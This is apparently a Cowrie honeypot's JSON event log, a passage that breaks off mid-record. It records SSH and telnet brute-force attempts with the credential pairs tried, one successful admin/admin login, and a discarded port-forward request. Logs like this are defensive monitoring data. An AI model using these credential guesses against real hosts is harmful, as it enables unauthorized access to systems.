{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:03.320377Z","src_ip":"87.251.64.176","session":"cac7c77367a1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:03.633434Z","src_ip":"87.251.64.176","session":"cac7c77367a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:03.731930Z","session":"cac7c77367a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:03.837908Z","src_ip":"87.251.64.176","session":"cac7c77367a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:03.935762Z","src_ip":"87.251.64.176","session":"cac7c77367a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.174.224","src_port":51070,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e461890e838","protocol":"ssh","message":"New connection: 43.165.174.224:51070 (159.203.135.109:22) [session: 7e461890e838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:18.563162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:18.568604Z","src_ip":"43.165.174.224","session":"7e461890e838","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:19.410556Z","src_ip":"43.165.174.224","session":"7e461890e838","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0123456789","message":"login attempt [root/0123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:19.897092Z","src_ip":"43.165.174.224","session":"7e461890e838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:21.062781Z","src_ip":"43.165.174.224","session":"7e461890e838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.194003105163574,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:23.837912Z","src_ip":"69.4.83.194","session":"c8da32765980","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.24278426170349,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:26.789329Z","src_ip":"178.128.93.180","session":"088382629a98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.70776438713074,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:34.579565Z","src_ip":"69.4.83.194","session":"c4ae916ffec0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":59096,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4d9b271fc45","protocol":"telnet","message":"New connection: 178.128.93.180:59096 (10.17.0.5:23) [session: b4d9b271fc45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:38.636684Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":45932,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ffaf9cc618a","protocol":"ssh","message":"New connection: 109.237.96.109:45932 (159.203.135.109:22) [session: 4ffaf9cc618a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:55.299116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:55.303713Z","src_ip":"109.237.96.109","session":"4ffaf9cc618a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:55.396008Z","src_ip":"109.237.96.109","session":"4ffaf9cc618a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10101990","message":"login attempt [root/10101990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:55.673416Z","src_ip":"109.237.96.109","session":"4ffaf9cc618a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:56.767599Z","src_ip":"109.237.96.109","session":"4ffaf9cc618a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":39722,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1f0073607eb","protocol":"telnet","message":"New connection: 178.128.93.180:39722 (10.17.0.5:23) [session: b1f0073607eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:50:58.591353Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":46528,"dst_ip":"159.203.135.109","dst_port":22,"session":"0deaca2b3edc","protocol":"ssh","message":"New connection: 103.98.149.87:46528 (159.203.135.109:22) [session: 0deaca2b3edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:00.279951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:00.592325Z","src_ip":"103.98.149.87","session":"0deaca2b3edc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:00.597340Z","src_ip":"103.98.149.87","session":"0deaca2b3edc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lobster","message":"login attempt [root/lobster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:02.147973Z","src_ip":"103.98.149.87","session":"0deaca2b3edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:03.448054Z","src_ip":"103.98.149.87","session":"0deaca2b3edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.875517129898071,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:07.466775Z","src_ip":"178.128.93.180","session":"b1f0073607eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":107.41739678382874,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:19.222740Z","src_ip":"178.128.93.180","session":"47a0e8e80bfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57782,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7a9099f7562","protocol":"telnet","message":"New connection: 69.4.83.194:57782 (159.203.135.109:23) [session: d7a9099f7562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:20.860381Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58484,"dst_ip":"159.203.135.109","dst_port":23,"session":"521d0ec9cde9","protocol":"telnet","message":"New connection: 69.4.83.194:58484 (159.203.135.109:23) [session: 521d0ec9cde9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:25.838223Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.72.132","src_port":36982,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a63b74210f8","protocol":"ssh","message":"New connection: 168.167.72.132:36982 (159.203.135.109:22) [session: 2a63b74210f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:33.394444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:33.398612Z","src_ip":"168.167.72.132","session":"2a63b74210f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:33.657702Z","src_ip":"168.167.72.132","session":"2a63b74210f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:34.728917Z","src_ip":"168.167.72.132","session":"2a63b74210f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:35.996119Z","src_ip":"168.167.72.132","session":"2a63b74210f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":47900,"dst_ip":"159.203.135.109","dst_port":22,"session":"eed48bb32a5b","protocol":"ssh","message":"New connection: 176.32.39.21:47900 (159.203.135.109:22) [session: eed48bb32a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:45.208565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:45.213110Z","src_ip":"176.32.39.21","session":"eed48bb32a5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:45.341101Z","src_ip":"176.32.39.21","session":"eed48bb32a5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfvehfq","message":"login attempt [root/cfvehfq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:45.723559Z","src_ip":"176.32.39.21","session":"eed48bb32a5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:46.852626Z","src_ip":"176.32.39.21","session":"eed48bb32a5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.3874876499176,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:48.024069Z","src_ip":"178.128.93.180","session":"b4d9b271fc45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.947632789611816,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:51:53.807901Z","src_ip":"69.4.83.194","session":"d7a9099f7562","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.24342656135559,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:01.081503Z","src_ip":"69.4.83.194","session":"521d0ec9cde9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45862,"dst_ip":"159.203.135.109","dst_port":23,"session":"3191c0b8de1e","protocol":"telnet","message":"New connection: 69.4.83.194:45862 (159.203.135.109:23) [session: 3191c0b8de1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:04.958223Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":49750,"dst_ip":"159.203.135.109","dst_port":23,"session":"996617391f22","protocol":"telnet","message":"New connection: 69.4.83.194:49750 (159.203.135.109:23) [session: 996617391f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:15.257923Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50054,"dst_ip":"159.203.135.109","dst_port":23,"session":"00f89026a00c","protocol":"telnet","message":"New connection: 69.4.83.194:50054 (159.203.135.109:23) [session: 00f89026a00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:15.923480Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.174.224","src_port":41858,"dst_ip":"159.203.135.109","dst_port":22,"session":"11e6699f74b3","protocol":"ssh","message":"New connection: 43.165.174.224:41858 (159.203.135.109:22) [session: 11e6699f74b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:24.927776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:24.933388Z","src_ip":"43.165.174.224","session":"11e6699f74b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 